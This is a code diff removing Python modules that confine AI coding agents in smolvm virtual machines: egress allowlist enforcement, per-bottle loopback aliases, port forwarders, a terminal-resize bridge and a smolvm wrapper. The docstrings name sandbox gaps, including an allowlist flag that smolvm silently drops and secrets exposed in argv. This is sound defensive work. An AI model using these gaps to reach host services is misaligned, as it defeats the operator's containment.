import subprocess
from pathlib import Path
from typing import Iterable
from ...log import die, info
def _smolvm_db_path() -> Path:
"""smolvm's persistent VM state — a SQLite DB whose `vms` table
holds one JSON BLOB per machine. macOS stores it under
`Application Support`; Linux follows the XDG base-dir spec
(`$XDG_DATA_HOME`, default `~/.local/share`).
NOTE: the Linux location is inferred from smolvm's documented
`~/.local/share` install layout and must be confirmed against a
real Linux smolvm install. If it's wrong, `force_allowlist`'s
fail-closed check turns it into a clear launch-time error rather
than a silent escape."""
if platform.system() == "Darwin":
return (
Path.home()
/ "Library"
/ "Application Support"
/ "smolvm"
/ "server"
/ "smolvm.db"
)
xdg_data = os.environ.get("XDG_DATA_HOME")
base = Path(xdg_data) if xdg_data else Path.home() / ".local" / "share"
return base / "smolvm" / "server" / "smolvm.db"
# Resolved once at import: the host platform doesn't change within a
# process. Tests patch this attribute directly.
_SMOLVM_DB_PATH = _smolvm_db_path()
# Sixteen aliases by default. Tunable for hosts that want more
# concurrent bottles (each bottle reserves one alias for its
# bundle bringup). The range is chosen to avoid the reserved
# 127.0.0.1/2/3 ports (1 is the default, 2 is sometimes used by
# CUPS, 3 by other macOS services) and stay well clear of
# 127.0.0.53 (systemd-resolved) and 127.0.0.54 (libvirt).
_POOL_START = 16
_POOL_END = 31 # inclusive
# File lock that serialises concurrent allocate() calls so two
# simultaneous launches can't read the same docker state and claim
# the same alias. Narrowed to the allocate() call itself; docker run
# runs after the lock is released. Once the container is running it
# appears in docker state and future allocate() calls will see it.
_ALLOC_LOCK_PATH = Path.home() / ".cache" / "bot-bottle" / "smolmachines.lock"
# Loopback aliases pool: 127.0.0.<start>..127.0.0.<end>.
def _pool_addresses() -> list[str]:
return [f"127.0.0.{i}" for i in range(_POOL_START, _POOL_END + 1)]
def _is_macos() -> bool:
return platform.system() == "Darwin"
def ensure_pool() -> None:
"""Make sure each address in the pool is up on `lo0`. Lazily
runs `sudo ifconfig lo0 alias <ip>/32 up` for missing entries
(sudo prompts once, then the aliases persist on lo0 until
reboot). No-op on non-macOS hosts."""
if not _is_macos():
return
missing = [ip for ip in _pool_addresses() if not _alias_present(ip)]
if not missing:
return
info(
f"smolmachines needs {len(missing)} loopback alias(es) on lo0 "
f"({', '.join(missing[:3])}{', ...' if len(missing) > 3 else ''}) "
f"to scope per-bottle TSI allowlists. sudo will prompt once; "
f"aliases persist until reboot."
)
for ip in missing:
result = subprocess.run(
["sudo", "-p", "bot-bottle (loopback alias): ",
"ifconfig", "lo0", "alias", f"{ip}/32", "up"],
check=False,
)
if result.returncode != 0:
die(
f"sudo ifconfig lo0 alias {ip} failed (exit "
f"{result.returncode}). Re-run with sudo available, "
f"or add manually: sudo ifconfig lo0 alias {ip}/32 up"
)
def force_allowlist(machine_name: str, allowed_cidrs: list[str]) -> None:
"""Ensure the machine's persisted TSI allowlist equals
`allowed_cidrs`, failing **closed** if that can't be confirmed.
Runs on both macOS and Linux. It exists because smolvm 0.8.0
silently drops `--allow-cidr` when combined with `--from`, so
the allowlist has to be written into smolvm's persistent state
DB before `machine start`. Rather than assume the flag was
dropped, we read the persisted row and only patch when it
doesn't already match — so a newer smolvm that honors the flag
is left untouched.
Must run AFTER `smolvm machine create` (the row has to exist)
and BEFORE `smolvm machine start` (smolvm reads the row on
start; in-flight VMs don't pick up changes).
Fail-closed: if the state DB is missing, the row is missing, or
the allowlist still doesn't match after patching, we `die()`
rather than boot a VM whose egress confinement we can't verify
an unconfirmed allowlist is a sandbox-escape risk (the agent
VM could reach all of host loopback)."""
want = list(allowed_cidrs)
if not _SMOLVM_DB_PATH.is_file():
die(
f"smolvm state DB not found at {_SMOLVM_DB_PATH}; cannot "
f"confirm the TSI allowlist is enforced. Refusing to launch "
f"(fail-closed). Check `smolvm --version` and the DB "
f"location for your platform."
)
con = sqlite3.connect(str(_SMOLVM_DB_PATH))
try:
cfg = _read_machine_cfg(con, machine_name)
if cfg.get("allowed_cidrs") != want:
cfg["allowed_cidrs"] = want
# Write as BLOB (the column type smolvm uses) — passing a
# plain str makes sqlite store it as Text and smolvm then
# fails to read it.
con.execute(
"UPDATE vms SET data = ? WHERE name = ?",
(sqlite3.Binary(json.dumps(cfg).encode()), machine_name),
)
con.commit()
cfg = _read_machine_cfg(con, machine_name)
if cfg.get("allowed_cidrs") != want:
die(
f"could not enforce TSI allowlist {want!r} for machine "
f"{machine_name!r} (persisted value is "
f"{cfg.get('allowed_cidrs')!r}). Refusing to launch "
f"(fail-closed)."
)
finally:
con.close()
def _read_machine_cfg(con: sqlite3.Connection, machine_name: str) -> dict[str, object]:
"""Read + JSON-decode a machine's `data` BLOB from the smolvm
state DB. Dies (fail-closed) if the row is missing the caller
can't confirm enforcement without it."""
row = con.execute(
"SELECT data FROM vms WHERE name = ?", (machine_name,),
).fetchone()
if row is None:
die(
f"smolvm DB has no row for machine {machine_name!r}"
f"machine_create must run before force_allowlist."
)
return json.loads(row[0])
def allocate(_slug: str) -> str:
"""Pick the lowest-numbered alias from the pool not already
in use by a running smolmachines bundle. Bails when the pool
is exhausted the caller should report the limit to the
operator. `_slug` is logged for traceability; not otherwise
used (no on-disk reservation, allocation is purely
docker-state-driven).
Runs on both platforms: the allocation logic (docker-state
inspection + the file lock) is platform-independent. macOS
needs `ensure_pool` to have aliased the addresses on `lo0`
first; on Linux all of `127.0.0.0/8` is already loopback, so
docker can publish on the chosen `127.0.0.<N>` with no setup.
Per-bottle scoping (so the agent can't reach other bottles' or
host services' loopback ports) therefore holds on both.
An exclusive file lock serialises concurrent calls so two
simultaneous launches don't read the same docker state and
claim the same alias."""
_ALLOC_LOCK_PATH.parent.mkdir(parents=True, exist_ok=True)
with open(_ALLOC_LOCK_PATH, "w", encoding="utf-8") as lf:
fcntl.flock(lf, fcntl.LOCK_EX)
return _allocate_locked()
def _allocate_locked() -> str:
in_use = _aliases_in_use()
for ip in _pool_addresses():
if ip not in in_use:
return ip
die(
f"smolmachines loopback alias pool exhausted "
f"({_POOL_END - _POOL_START + 1} aliases, all in use). "
f"Stop a running bottle (`smolvm machine ls --json`) or "
f"raise _POOL_END in loopback_alias.py."
)
def _alias_present(ip: str) -> bool:
"""True iff `ifconfig lo0` shows `<ip>` as an inet address.
Exact-match `127.0.0.1` shouldn't match `127.0.0.16`."""
result = subprocess.run(
["/sbin/ifconfig", "lo0"],
capture_output=True, text=True, check=False,
)
if result.returncode != 0:
return False
pattern = re.compile(rf"\binet {re.escape(ip)}\b")
return bool(pattern.search(result.stdout or ""))
def _aliases_in_use() -> set[str]:
"""Aliases already bound by another smolmachines bundle's
published-port mappings. We inspect every container whose
name matches the smolmachines bundle prefix and pull the
`HostIp` out of its port bindings."""
result = subprocess.run(
["docker", "ps", "--format", "{{.Names}}",
"--filter", "name=bot-bottle-sidecars-"],
capture_output=True, text=True, check=False,
)
if result.returncode != 0:
return set()
names = [n.strip() for n in (result.stdout or "").splitlines() if n.strip()]
in_use: set[str] = set()
for name in names:
in_use.update(_host_ips_for_container(name))
return in_use
def _host_ips_for_container(name: str) -> Iterable[str]:
"""Yield the `HostIp` values across all port bindings on
container `name`. A bundle binds three or four ports and
they all share the same HostIp, so callers can take any."""
result = subprocess.run(
["docker", "inspect", name,
"--format", "{{json .HostConfig.PortBindings}}"],
capture_output=True, text=True, check=False,
)
if result.returncode != 0:
return ()
try:
bindings = json.loads(result.stdout or "{}")
except json.JSONDecodeError:
return ()
seen: set[str] = set()
for _port, mappings in (bindings or {}).items():
for m in mappings or []:
host_ip = m.get("HostIp") or ""
if host_ip:
seen.add(host_ip)
return seen
__all__ = ["allocate", "ensure_pool", "force_allowlist"]
@@ -1,245 +0,0 @@
"""Per-bottle TCP forwarder for smolmachines sidecar VMs.
smolVM currently publishes guest ports on host loopback as
``HOST:GUEST`` port pairs, without an address-scoped bind. The agent
VM's TSI allowlist is IP-only, so bot-bottle exposes a second, stricter
surface: listeners bound only to the bottle's allocated host address,
forwarding to the raw smolVM-published loopback ports.
"""
from __future__ import annotations
import argparse
import json
import os
import selectors
import signal
import socket
import subprocess
import sys
import threading
from dataclasses import asdict, dataclass
from typing import Any, Iterable, Sequence
from ...log import die, warn
_BUFFER_SIZE = 64 * 1024
_LOOPBACK_TARGETS = {"127.0.0.1", "::1"}
_FORBIDDEN_LISTEN_HOSTS = {"", "0.0.0.0", "::", "127.0.0.1", "::1"}
@dataclass(frozen=True)
class ForwardSpec:
label: str
listen_host: str
listen_port: int
target_host: str
target_port: int
@dataclass(frozen=True)
class ForwarderHandle:
process: Any
forwards: tuple[ForwardSpec, ...]
def start_forwarder(specs: Sequence[ForwardSpec]) -> ForwarderHandle:
"""Start one helper process for a bottle and wait until all
listeners are bound. ``listen_port`` may be 0; the returned specs
contain the kernel-assigned ports printed by the helper."""
if not specs:
return ForwarderHandle(process=_CompletedProcess(), forwards=())
_validate_specs(specs)
argv = [
sys.executable,
"-c",
"from bot_bottle.backend.smolmachines.port_forward import main; "
"raise SystemExit(main())",
"--spec-json",
json.dumps([asdict(s) for s in specs], separators=(",", ":")),
]
proc = subprocess.Popen(
argv,
stdin=subprocess.DEVNULL,
stdout=subprocess.PIPE,
stderr=None,
text=True,
env=os.environ,
)
assert proc.stdout is not None
line = proc.stdout.readline()
proc.stdout.close()
if not line:
proc.terminate()
proc.wait(timeout=5)
die("smolmachines forwarder failed before reporting readiness")
try:
payload = json.loads(line)
bound = tuple(ForwardSpec(**item) for item in payload["forwards"])
except (KeyError, TypeError, ValueError, json.JSONDecodeError) as exc:
proc.terminate()
proc.wait(timeout=5)
die(f"smolmachines forwarder returned invalid readiness payload: {exc}")
return ForwarderHandle(process=proc, forwards=bound)
def stop_forwarder(handle: ForwarderHandle) -> None:
proc = handle.process
if proc.poll() is not None:
return
proc.terminate()
try:
proc.wait(timeout=5)
except subprocess.TimeoutExpired:
proc.kill()
proc.wait(timeout=5)
def _validate_specs(specs: Iterable[ForwardSpec]) -> None:
for spec in specs:
if spec.listen_host in _FORBIDDEN_LISTEN_HOSTS:
die(f"refusing unsafe smolmachines forwarder bind: {spec.listen_host!r}")
if spec.target_host not in _LOOPBACK_TARGETS:
die(f"refusing non-loopback smolmachines forwarder target: {spec.target_host!r}")
if not 0 <= spec.listen_port <= 65535:
die(f"invalid smolmachines forwarder listen port: {spec.listen_port}")
if not 1 <= spec.target_port <= 65535:
die(f"invalid smolmachines forwarder target port: {spec.target_port}")
class _CompletedProcess:
"""Popen-like no-op used when a bottle has no forwards."""
def poll(self) -> int:
return 0
def terminate(self) -> None:
return None
def kill(self) -> None:
return None
def wait(self, timeout: float | None = None) -> int:
del timeout
return 0
class _Forwarder:
def __init__(self, specs: Sequence[ForwardSpec]):
_validate_specs(specs)
self.specs = tuple(specs)
self.selector = selectors.DefaultSelector()
self.stop_event = threading.Event()
self.listeners: list[tuple[socket.socket, ForwardSpec]] = []
self.bound: list[ForwardSpec] = []
def start(self) -> None:
for spec in self.specs:
listener = socket.create_server(
(spec.listen_host, spec.listen_port),
reuse_port=False,
backlog=64,
)
listener.setblocking(False)
host, port = listener.getsockname()[:2]
bound = ForwardSpec(
label=spec.label,
listen_host=str(host),
listen_port=int(port),
target_host=spec.target_host,
target_port=spec.target_port,
)
self.listeners.append((listener, bound))
self.bound.append(bound)
self.selector.register(listener, selectors.EVENT_READ, bound)
def serve(self) -> None:
while not self.stop_event.is_set():
try:
events = self.selector.select(timeout=0.25)
except OSError:
return
for key, _ in events:
listener = key.fileobj
if not isinstance(listener, socket.socket):
continue
spec = key.data
try:
client, _ = listener.accept()
except OSError:
continue
threading.Thread(
target=self._handle_client,
args=(client, spec),
daemon=True,
).start()
def stop(self) -> None:
self.stop_event.set()
for listener, _ in self.listeners:
try:
self.selector.unregister(listener)
except Exception: # noqa: BLE001 - best effort shutdown
pass
listener.close()
self.selector.close()
def _handle_client(self, client: socket.socket, spec: ForwardSpec) -> None:
with client:
try:
target = socket.create_connection((spec.target_host, spec.target_port))
except OSError as exc:
warn(f"smolmachines forwarder {spec.label}: target connect failed: {exc}")
return
with target:
left = threading.Thread(target=_pipe, args=(client, target), daemon=True)
right = threading.Thread(target=_pipe, args=(target, client), daemon=True)
left.start()
right.start()
left.join()
right.join()
def _pipe(src: socket.socket, dst: socket.socket) -> None:
while True:
try:
data = src.recv(_BUFFER_SIZE)
except OSError:
break
if not data:
break
try:
dst.sendall(data)
except OSError:
break
try:
dst.shutdown(socket.SHUT_WR)
except OSError:
pass
def main(argv: Sequence[str] | None = None) -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--spec-json", required=True)
ns = parser.parse_args(argv)
specs = tuple(ForwardSpec(**item) for item in json.loads(ns.spec_json))
forwarder = _Forwarder(specs)
def request_stop(signum: int, _frame: object) -> None:
del signum
forwarder.stop()
signal.signal(signal.SIGTERM, request_stop)
signal.signal(signal.SIGINT, request_stop)
forwarder.start()
print(json.dumps({"forwards": [asdict(s) for s in forwarder.bound]}), flush=True)
try:
forwarder.serve()
finally:
forwarder.stop()
return 0
if __name__ == "__main__":
raise SystemExit(main())
@@ -1,12 +0,0 @@
"""Backend-infrastructure provisioners for the smolmachines backend.
Per PRD 0050 the per-provider provisioning steps (prompt, skills,
declarative provision-plan apply, supervise MCP registration) live on
the `AgentProvider` plugin under `bot_bottle/contrib/`. CA and git
provisioning also moved to the AgentProvider ABC (with Debian/node
defaults); user plugins override them for non-standard images.
No modules remain in this subpackage. Workspace copying now runs
through `BottleBackend.provision_workspace` against the running
bottle for every backend.
"""
@@ -1,151 +0,0 @@
"""Host-side SIGWINCH → in-VM PTY resize bridge (issue #82).
smolvm 0.8.0 `machine exec -t` allocates an in-VM PTY but never
forwards the host terminal's window size (TIOCSWINSZ) to it. The
PTY's initial size is `0 0`, and any host-side resize during the
session goes unnoticed the in-VM claude TUI keeps rendering for
whatever (typically tiny) box it last saw, ignoring the operator's
tmux pane resize. `docker exec -it` does this forwarding
automatically; smolvm doesn't.
This module wraps `smolvm machine exec` with a thin parent
process that:
1. Spawns the original argv as a child (it gets the inherited
TTY, so claude's stdin/stdout/stderr work unchanged).
2. On startup + every host SIGWINCH, reads the host terminal
size via TIOCGWINSZ on stdin (or stderr if stdin isn't a
TTY tmux respawn-pane gives us a TTY on stdout/stderr)
and pushes it into the VM with a side-channel
`smolvm machine exec -- sh -c 'for f in /dev/pts/*; do
stty -F $f cols X rows Y; done'`. The kernel delivers
SIGWINCH to the foreground process group on the slave end
automatically, so claude picks up the new size without
extra signalling.
3. Waits on the child and exits with its returncode.
The dashboard's tmux pane respawn calls `bottle.agent_argv`
which now prepends `[sys.executable, -m, ..., <machine>, --, ...]`
to the smolvm argv. Foreground handoff (curses endwin
subprocess.run) goes through the same path so behavior is
identical.
Removable once smolvm grows native SIGWINCH forwarding (upstream
follow-up tracked separately)."""
from __future__ import annotations
import fcntl
import signal
import struct
import subprocess
import sys
import termios
import threading
from types import FrameType
# How long to wait after the main exec starts before pushing the
# initial size. Concurrent `smolvm machine exec` invocations race
# libkrun's per-exec OCI config write during the main exec's
# bringup window; the side-channel firing immediately corrupts
# `config.json` and the main exec dies with SIGKILL (rc=137) or
# libkrun's "parse error: trailing garbage" depending on
# scheduling. Two seconds is well past the bringup window on a
# warm VM, well under the operator's "this is unresponsive"
# threshold, and short enough that claude's initial render
# almost always fires after the size has been set.
_STARTUP_SYNC_DELAY_SEC = 2.0
def _read_winsize() -> tuple[int, int] | None:
"""Return `(rows, cols)` from whichever of stdin / stdout /
stderr is a TTY, or None if none are. Different invocation
surfaces give us different TTYs:
- foreground handoff (curses endwin subprocess.run): all
three are the operator's terminal.
- tmux respawn-pane: tmux sets all three to the pane's PTY.
- non-TTY (someone piped stdin in tests): none are; the
sync just no-ops, which is the right behavior."""
for stream in (sys.stdin, sys.stdout, sys.stderr):
try:
fd = stream.fileno()
data = fcntl.ioctl(fd, termios.TIOCGWINSZ, b"\x00" * 8)
except OSError:
continue
rows, cols, _, _ = struct.unpack("hhhh", data)
if rows > 0 and cols > 0:
return rows, cols
return None
def _push_size(machine: str, rows: int, cols: int) -> None:
"""Side-channel `smolvm machine exec` that sets the size of
every PTY in the VM. The shell `for` loop covers the case of
multiple concurrent interactive sessions (rare but cheap to
handle); `stty -F` returns silently on PTYs that don't apply.
Best-effort: swallow failures. A failed resize doesn't break
the session it just leaves the in-VM PTY at its old size.
`stdin=DEVNULL` is load-bearing: under tmux, inheriting the
pane PTY here means two concurrent smolvm processes (this one
and the agent session the wrapper is shepherding) share the
PTY's foreground-process-group / input plumbing, and smolvm
bails with an internal config-parse error or SIGKILL within
~100ms of the side-channel firing. Outside tmux the same
pattern survived, presumably because iTerm's PTY plumbing is
more forgiving than tmux's, but the DEVNULL is the right
default either way the side-channel never needs stdin."""
subprocess.run(
["smolvm", "machine", "exec", "--name", machine, "--",
"sh", "-c",
f"for f in /dev/pts/*; do "
f"stty -F \"$f\" cols {cols} rows {rows} 2>/dev/null; "
f"done"],
stdin=subprocess.DEVNULL,
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
check=False,
)
def main(argv: list[str]) -> int:
"""Entry point. `argv` shape: `<machine> -- <smolvm-argv...>`.
We don't use argparse — the `--` separator is the contract and
everything past it is forwarded verbatim. Keeps the wrapper
transparent for callers building argv programmatically."""
if len(argv) < 3 or argv[1] != "--":
sys.stderr.write(
"usage: python -m bot_bottle.backend.smolmachines.pty_resize "
"<machine> -- <smolvm-argv...>\n"
)
return 2
machine = argv[0]
inner = argv[2:]
def sync(_signum: int | None = None, _frame: FrameType | None = None) -> None:
size = _read_winsize()
if size is None:
return
_push_size(machine, *size)
signal.signal(signal.SIGWINCH, sync) # type: ignore[arg-type]
proc = subprocess.Popen(inner)
# Initial sync is deferred — see _STARTUP_SYNC_DELAY_SEC.
# daemon=True so the timer doesn't block exit when the child
# finishes before the delay elapses.
timer = threading.Timer(_STARTUP_SYNC_DELAY_SEC, sync)
timer.daemon = True
timer.start()
while True:
try:
return proc.wait()
except KeyboardInterrupt:
proc.send_signal(signal.SIGINT)
if __name__ == "__main__":
sys.exit(main(sys.argv[1:]))
@@ -1,81 +0,0 @@
"""smolmachines `_resolve_plan` (PRD 0023 chunks 2d + 4c).
Resolves the per-bottle docker subnet + bundle IP and assembles
the guest env. The agent's docker image build → smolmachine
pack pipeline runs in `launch.launch`, not here, so the
dashboard's preflight modal isn't garbled by docker-build output
before the operator has confirmed.
No VM bringup that's `launch.launch`'s job."""
from __future__ import annotations
from pathlib import Path
from .. import BottleSpec
from ...manifest import Manifest
from ...env import ResolvedEnv
from ...agent_provider import AgentProvisionPlan
from ...egress import EgressPlan
from ...supervise import SupervisePlan
from ...git_gate import GitGatePlan
from .bottle_plan import SmolmachinesBottlePlan
from .util import smolmachines_bundle_subnet, smolmachines_preflight
def preflight() -> None:
smolmachines_preflight()
def build_guest_env(resolved_env: ResolvedEnv) -> dict[str, str]:
# Agent's env: resolve through resolve_env() so ?prompt entries
# are prompted and ${HOST_VAR} entries are interpolated — matching
# the Docker backend's contract. Forwarded (secret/interpolated)
# values still reach the guest as -e K=V smolvm flags because
# smolvm 0.8.0 has no env-file or stdin injection path; this is
# the known argv-exposure gap documented in PRD 0038.
# HTTPS_PROXY / GIT_GATE_URL / MCP_SUPERVISE_URL are populated
# in launch.py after bundle bringup.
return {
**resolved_env.literals,
**resolved_env.forwarded,
"NO_PROXY": "localhost,127.0.0.1",
"NODE_EXTRA_CA_CERTS": "/etc/ssl/certs/ca-certificates.crt",
"SSL_CERT_FILE": "/etc/ssl/certs/ca-certificates.crt",
"REQUESTS_CA_BUNDLE": "/etc/ssl/certs/ca-certificates.crt",
}
def resolve_plan(
spec: BottleSpec,
manifest: Manifest,
slug: str,
resolved_env: ResolvedEnv,
agent_provision_plan: AgentProvisionPlan,
egress_plan: EgressPlan,
supervise_plan: SupervisePlan | None,
git_gate_plan: GitGatePlan,
stage_dir: Path,
) -> SmolmachinesBottlePlan:
"""Materialize the smolmachines plan. The agent `.smolmachine`
artifact is built (or cache-hit) here so launch's
`machine create --from` boots without a registry pull. Per-bottle
guest env lands on the plan for launch to pass straight through
to `machine create` flags."""
# ==== smolmachines specific setup ====
subnet, gateway, bundle_ip = smolmachines_bundle_subnet(slug)
return SmolmachinesBottlePlan(
spec=spec,
manifest=manifest,
stage_dir=stage_dir,
slug=slug,
bundle_subnet=subnet,
bundle_gateway=gateway,
bundle_ip=bundle_ip,
guest_env=agent_provision_plan.guest_env,
git_gate_plan=git_gate_plan,
egress_plan=egress_plan,
supervise_plan=supervise_plan,
agent_provision=agent_provision_plan,
)
@@ -1,164 +0,0 @@
"""Per-bottle sidecar bundle bringup for the smolmachines backend.
The sidecar bundle runs as its own smolVM. The agent VM reaches
bundle daemons through host-loopback ports published by that sidecar
VM and wrapped by per-bottle address-bound forwarders."""
from __future__ import annotations
import os
import socket
from dataclasses import dataclass, field
from pathlib import Path
from typing import Sequence
from ...log import warn
from ..docker import util as docker_mod
from ..docker.sidecar_bundle import (
SIDECAR_BUNDLE_DOCKERFILE,
SIDECAR_BUNDLE_IMAGE,
)
from . import smolvm as _smolvm
_REPO_DIR = str(Path(__file__).resolve().parent.parent.parent.parent)
def bundle_network_name(slug: str) -> str:
"""`bot-bottle-bundle-<slug>` — distinct from the docker
backend's `bot-bottle-net-<slug>` so a smolmachines bottle
and a docker bottle for the same agent don't collide on
network name."""
return f"bot-bottle-bundle-{slug}"
def bundle_container_name(slug: str) -> str:
"""`bot-bottle-sidecars-<slug>` — same name shape the docker
backend uses for the bundle (PRD 0024 chunk 5). The dashboard's
prefix-based discovery covers both backends with one filter."""
return f"bot-bottle-sidecars-{slug}"
def bundle_machine_name(slug: str) -> str:
"""Sidecar smolVM machine name."""
return bundle_container_name(slug)
@dataclass(frozen=True)
class BundleLaunchSpec:
"""Everything `start_bundle` needs to bring up one bundle
container. Populated by chunk-2d's launch flow from the inner
Plans the prepare step already produces."""
slug: str
network_name: str
subnet: str
gateway: str
bundle_ip: str
image: str = SIDECAR_BUNDLE_IMAGE
# Daemon subset CSV for BOT_BOTTLE_SIDECAR_DAEMONS. The
# supervisor inside the bundle reads it to skip
# bottle-irrelevant daemons (e.g. supervise=False bottles).
daemons_csv: str = "egress"
# Plain "KEY=VALUE" strings + "KEY" bare names. Bare names inherit
# from the host env passed to the sidecar VM launch.
environment: Sequence[str] = field(default_factory=tuple)
# (host_path, container_path, read_only) bind mounts.
volumes: Sequence[tuple[str, str, bool]] = field(default_factory=tuple)
# Container ports to publish on `publish_host_ip`, random
# host-side port per entry. The smolvm guest's TSI talks via
# macOS networking, so docker container IPs (192.168.x.x in
# the daemon's bridge) aren't directly reachable from the
# guest — host-loopback port-forwards are. Egress's port
# is bundle-internal and never published.
ports_to_publish: Sequence[int] = field(default_factory=tuple)
# Loopback IP to bind published ports against. Per-bottle
# loopback aliases (`127.0.0.16` etc., added via sudo
# ifconfig lo0 alias) narrow the TSI allowlist so a bottle
# can't reach other bottles' (or other host services') ports
# via 127.0.0.1.
publish_host_ip: str = "127.0.0.1"
@dataclass(frozen=True)
class BundleVmLaunch:
raw_ports: dict[int, int]
def ensure_bundle_image(image: str = SIDECAR_BUNDLE_IMAGE) -> None:
"""Build the sidecar bundle image before `docker run`.
The Docker backend gets this for free from compose's `build:`
stanza. smolmachines starts the bundle with plain `docker run`,
so without an explicit build a first launch tries to pull the
local-only `bot-bottle-sidecars:latest` tag from a registry.
"""
docker_mod.build_image(
image,
_REPO_DIR,
dockerfile=SIDECAR_BUNDLE_DOCKERFILE,
)
def allocate_raw_host_ports(container_ports: Sequence[int]) -> dict[int, int]:
"""Reserve candidate host loopback ports for smolVM `-p HOST:GUEST`.
The sockets are closed before smolVM binds them, so this remains
best-effort. smolVM failing to bind a selected port is fatal in
the caller's launch path."""
out: dict[int, int] = {}
for container_port in container_ports:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.bind(("127.0.0.1", 0))
out[container_port] = int(sock.getsockname()[1])
return out
def start_bundle_vm(
spec: BundleLaunchSpec,
*,
from_path: Path,
host_env: dict[str, str] | None = None,
) -> BundleVmLaunch:
"""Create and start the sidecar bundle as a smolVM.
smolVM's own published ports are raw host-loopback ports. The
launch flow wraps them with per-bottle address-bound forwarders
before exposing anything to the agent VM."""
raw_ports = allocate_raw_host_ports(spec.ports_to_publish)
effective_host_env = host_env if host_env is not None else os.environ
env: dict[str, str] = {"BOT_BOTTLE_SIDECAR_DAEMONS": spec.daemons_csv}
for entry in spec.environment:
name, sep, value = entry.partition("=")
if sep:
env[name] = value
elif entry in effective_host_env:
env[entry] = effective_host_env[entry]
name = bundle_machine_name(spec.slug)
_smolvm.machine_create(
name,
from_path=from_path,
net=True,
env=env,
volumes=spec.volumes,
ports=tuple(
(host_port, guest_port)
for guest_port, host_port in raw_ports.items()
),
)
_smolvm.machine_start(name)
_smolvm.wait_exec_ready(name)
return BundleVmLaunch(raw_ports=raw_ports)
def stop_bundle_vm(slug: str) -> None:
"""Best-effort sidecar VM teardown."""
name = bundle_machine_name(slug)
try:
_smolvm.machine_stop(name)
except _smolvm.SmolvmError as exc:
warn(f"smolvm machine stop {name} failed: {exc}")
try:
_smolvm.machine_delete(name)
except _smolvm.SmolvmError as exc:
warn(f"smolvm machine delete {name} failed: {exc}")
-276
View File
@@ -1,276 +0,0 @@
"""Thin subprocess wrapper around the `smolvm` CLI (PRD 0023).
One thin Python function per smolvm subcommand the launch flow
needs. Two design choices worth flagging:
- **No daemon, no SDK.** smolvm 0.8.0 ships a `smolvm serve`
HTTP API as the long-term-clean integration target. The
project's stdlib-first ethos + the lower-overhead CLI calls
push v1 to shell out via `subprocess.run`. If a future
smolvm release makes `serve` mandatory (or significantly
faster), revisit.
- **Two return shapes.** `SmolvmRunResult` (returncode + stdout
+ stderr captured) is returned by `machine_exec` because the
caller cares about the in-VM command's exit status, and by
test helpers that introspect output. The other calls
(`machine_start`, `machine_stop`, `pack_create`, etc.) raise
`SmolvmError` on non-zero exit failure to start a VM is
fatal to the launch flow, not something callers want to
branch on.
The wrapper is unit-tested with `subprocess.run` mocked; the
integration smoke test (chunk 2d) exercises against a real
smolvm binary."""
from __future__ import annotations
import json
import shutil
import subprocess
import time
from dataclasses import dataclass
from pathlib import Path
from typing import Mapping, Sequence
_SMOLVM = "smolvm"
@dataclass(frozen=True)
class SmolvmRunResult:
"""Captured result of an in-VM command. Mirrors the structure
`Bottle.exec` returns so callers can hand it straight through."""
returncode: int
stdout: str
stderr: str
class SmolvmError(RuntimeError):
"""Raised when a smolvm subprocess returns non-zero on a path
where the caller has no useful branch to take (start failed,
pack failed, etc.). Carries the captured stderr for the
operator-facing log line."""
def __init__(self, argv: Sequence[str], result: subprocess.CompletedProcess[str]):
self.argv = list(argv)
self.returncode = result.returncode
self.stdout = result.stdout
self.stderr = result.stderr
cmd = " ".join(self.argv)
super().__init__(
f"{cmd!r} failed (exit {result.returncode}): "
f"{(result.stderr or '').strip() or '<no stderr>'}"
)
def _smolvm(*args: str, env: Mapping[str, str] | None = None,
check: bool = True) -> subprocess.CompletedProcess[str]:
"""One subprocess call into the smolvm CLI. `check=True`
raises SmolvmError on non-zero; `check=False` returns the
CompletedProcess for the caller to inspect."""
argv = [_SMOLVM, *args]
result = subprocess.run(
argv,
capture_output=True,
text=True,
env=dict(env) if env is not None else None,
check=False,
)
if check and result.returncode != 0:
raise SmolvmError(argv, result)
return result
# --- Pack ----------------------------------------------------------------
def pack_create(image: str, output: Path) -> None:
"""`smolvm pack create --image <image> -o <output>`. Converts
an OCI image into a self-contained `.smolmachine` artifact
smolvm can boot via `machine create --from`. Idempotent on the
smolvm side re-running with the same image+output rebuilds
from layer cache."""
_smolvm("pack", "create", "--image", image, "-o", str(output))
def pack_create_from_vm(name: str, output: Path) -> None:
"""`smolvm pack create --from-vm <name> -o <output>`.
Snapshots an existing persistent VM into a pack artifact. As
with `pack_create`, smolvm writes a launcher at `output` and the
bootable sidecar at `output.smolmachine`.
"""
_smolvm("pack", "create", "--from-vm", name, "-o", str(output))
# --- Machine lifecycle ---------------------------------------------------
def machine_create(
name: str,
*,
image: str | None = None,
from_path: Path | None = None,
net: bool = False,
allow_cidrs: Sequence[str] = (),
env: Mapping[str, str] | None = None,
ports: Sequence[tuple[int, int]] = (),
volumes: Sequence[tuple[str, str, bool]] = (),
) -> None:
"""`smolvm machine create --name NAME [--image IMG | --from PATH]
[--allow-cidr CIDR ...] [-e K=V ...]`. NAME is passed as
`--name` (smolvm 1.4.7+; earlier versions took it positionally).
`image` (registry ref like `alpine:latest`) and `from_path`
(a `.smolmachine` artifact) are mutually exclusive one or
the other tells smolvm what to boot. The wrapper doesn't
enforce exclusivity; smolvm errors clearly enough.
`allow_cidrs` and `env` are passed as CLI flags instead of a
Smolfile because `--from` and `--smolfile` are themselves
mutually exclusive in smolvm 0.8.0 and we want `--from`'s
no-pull-at-start property. The flag form gives the same
result without the Smolfile complication.
`--net` is sent explicitly when `net=True` or `allow_cidrs` is
non-empty. `--allow-cidr` implies `--net` per the CLI help, but
sending `--net` explicitly is harmless and ensures the guest has
network access even if that implication changes across versions."""
args: list[str] = ["machine", "create", "--name", name]
if image is not None:
args += ["--image", image]
if from_path is not None:
args += ["--from", str(from_path)]
if net or allow_cidrs:
args.append("--net")
for cidr in allow_cidrs:
args += ["--allow-cidr", cidr]
for host_port, guest_port in ports:
args += ["-p", f"{host_port}:{guest_port}"]
for host_path, guest_path, read_only in volumes:
suffix = ":ro" if read_only else ""
args += ["-v", f"{host_path}:{guest_path}{suffix}"]
if env:
for k, v in env.items():
args += ["-e", f"{k}={v}"]
_smolvm(*args)
def machine_is_running(name: str) -> bool:
"""Return True if the named VM is in the 'running' state."""
result = _smolvm("machine", "ls", "--json", check=False)
